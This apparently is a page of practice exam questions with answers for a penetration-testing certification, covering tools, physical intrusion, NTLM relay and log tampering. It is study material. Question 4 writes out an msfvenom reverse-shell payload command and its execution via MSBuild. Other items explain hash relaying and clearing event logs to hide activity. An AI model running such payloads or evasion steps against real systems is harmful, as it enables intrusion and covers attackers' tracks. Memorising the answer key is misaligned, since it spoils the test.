Question # 1 A penetration tester performs an assessment on the target company's Kubernetes cluster using kube-hunter. Which of the following types of vulnerabilities could be detected with the tool?
A. Network configuration errors in Kubernetes services
B. Weaknesses and misconfigurations in the Kubernetes cluster
C. Application deployment issues in Kubernetes
D. Security vulnerabilities specific to Docker containers
Click for Answer
B. Weaknesses and misconfigurations in the Kubernetes cluster
Answer Description Explanation:
kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here’s why option B is correct:
Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.
Network Configuration Errors: While kube-hunter might identify some network-related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.
Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.
Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.
References from Pentest:
Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.
Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters.
Conclusion:
Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.
=================
Question # 2 Which of the following is a term used to describe a situation in which a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee? A. Badge cloning B. Shoulder surfing C. Tailgating D. Site survey
Click for Answer
C. Tailgating
Answer Description Explanation:
Tailgating is the term used to describe a situation where a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee.
Explanation:
Tailgating:
Definition: Tailgating occurs when an unauthorized person follows an authorized person into a restricted area without the latter’s consent or knowledge. The authorized person typically opens a door or checkpoint, and the unauthorized person slips in behind them.
Example: An attacker waits near the entrance of a building and enters right after an employee, bypassing security measures.
Physical Security:
Importance: Physical security is a crucial aspect of overall security posture. Tailgating exploits human factors and weaknesses in physical security controls.
Prevention: Security measures such as turnstiles, mantraps, and security personnel can help prevent tailgating.
Pentest References:
Physical Penetration Testing: Tailgating is a common technique used in physical penetration tests to assess the effectiveness of an organization’s physical security controls.
Social Engineering: Tailgating often involves social engineering, where the attacker relies on the politeness or unawareness of the employee to gain unauthorized access.
By understanding and using tailgating, penetration testers can evaluate the effectiveness of an organization’s physical security measures and identify potential vulnerabilities that could be exploited by malicious actors.
Question # 3 A tester runs an Nmap scan against a Windows server and receives the following results:
Nmap scan report for win_dns.local (10.0.0.5)
Host is up (0.014s latency)
Port State Service
53/tcp open domain
161/tcp open snmp
445/tcp open smb-ds
3389/tcp open rdp
Which of the following TCP ports should be prioritized for using hash-based relays? A. 53B. 161C. 445D. 3389
Click for Answer
C. 445
Answer Description Explanation:
Port 445 is used for SMB (Server Message Block) services, which are commonly targeted for hash-based relay attacks like NTLM relay attacks.
Understanding Hash-Based Relays:
NTLM Relay Attack: An attacker intercepts and relays NTLM authentication requests to another service, effectively performing authentication on behalf of the victim.
SMB Protocol: Port 445 is used for SMB/CIFS traffic, which supports NTLM authentication.
Prioritizing Port 445:
Vulnerability: SMB is often targeted because it frequently supports NTLM authentication, making it susceptible to relay attacks.
Tools: Tools like Responder and NTLMRelayX are commonly used to capture and relay NTLM hashes over SMB.
Execution:
Capture Hash: Use a tool like Responder to capture NTLM hashes.
Relay Hash: Use a tool like NTLMRelayX to relay the captured hash to another service on port 445.
References from Pentesting Literature:
Penetration testing guides frequently discuss targeting SMB (port 445) for hash-based relay attacks.
HTB write-ups often include examples of NTLM relay attacks using port 445.
Step-by-Step ExplanationReferences:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
=================
Question # 4 A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp
The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host? A. regsvr32 /s /n /u C:\evil.xmlB. MSBuild.exe C:\evil.xmlC. mshta.exe C:\evil.xmlD. AppInstaller.exe C:\evil.xml
Click for Answer
B. MSBuild.exe C:\evil.xml
Answer Description Explanation: The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:
Understanding MSBuild.exe:
Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It’s commonly used to build .NET applications and can also execute code embedded in project files.
Command Usage:
Command: MSBuild.exe C:\evil.xml
Explanation: This command tells MSBuild to process the evil.xml file, which contains the C# shellcode. MSBuild will compile and execute the code, leading to the payload execution.
Comparison with Other Commands:
regsvr32 /s /n /u C:\evil.xml: Used to register or unregister DLLs, not suitable for executing C# code.
mshta.exe C:\evil.xml: Used to execute HTML applications (HTA files), not suitable for XML containing C# code.
AppInstaller.exe C:\evil.xml: Used to install AppX packages, not relevant for executing C# code embedded in an XML file.
Using MSBuild.exe is the most appropriate method to execute the payload embedded in the XML file created by msfvenom.
=================
Question # 5 A penetration tester attempts to run an automated web application scanner against a target URL. The tester validates that the web page is accessible from a different device. The tester analyzes the following HTTP request header logging output:
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: curl
200; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: python
Which of the following actions should the tester take to get the scans to work properly? A. Modify the scanner to slow down the scan.B. Change the source IP with a VPN.C. Modify the scanner to only use HTTP GET requests.D. Modify the scanner user agent.
Click for Answer
D. Modify the scanner user agent.
Question # 6 During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence. Which of the following is the best way for the penetration tester to hide the activities performed? A. Clear the Windows event logs.B. Modify the system time.C. Alter the log permissions.
D. Reduce the log retention settings.
Click for Answer
A. Clear the Windows event logs.
Question # 7 A penetration tester needs to identify all vulnerable input fields on a customer website. Which of the following tools would be best suited to complete this request?
A. DASTB. SASTC. IASTD. SCA
Click for Answer
A. DAST
Question # 8 Which of the following elements in a lock should be aligned to a specific level to allow the key cylinder to turn?
A. Latches B. Pins C. Shackle D. Plug
Click for Answer
B. Pins
Answer Description In a pin tumbler lock, the key interacts with a series of pins within the lock cylinder. Here’s a detailed breakdown:
Components of a Pin Tumbler Lock:
Operation:
Why Pins Are the Correct Answer:
Illustration in Lock Picking:
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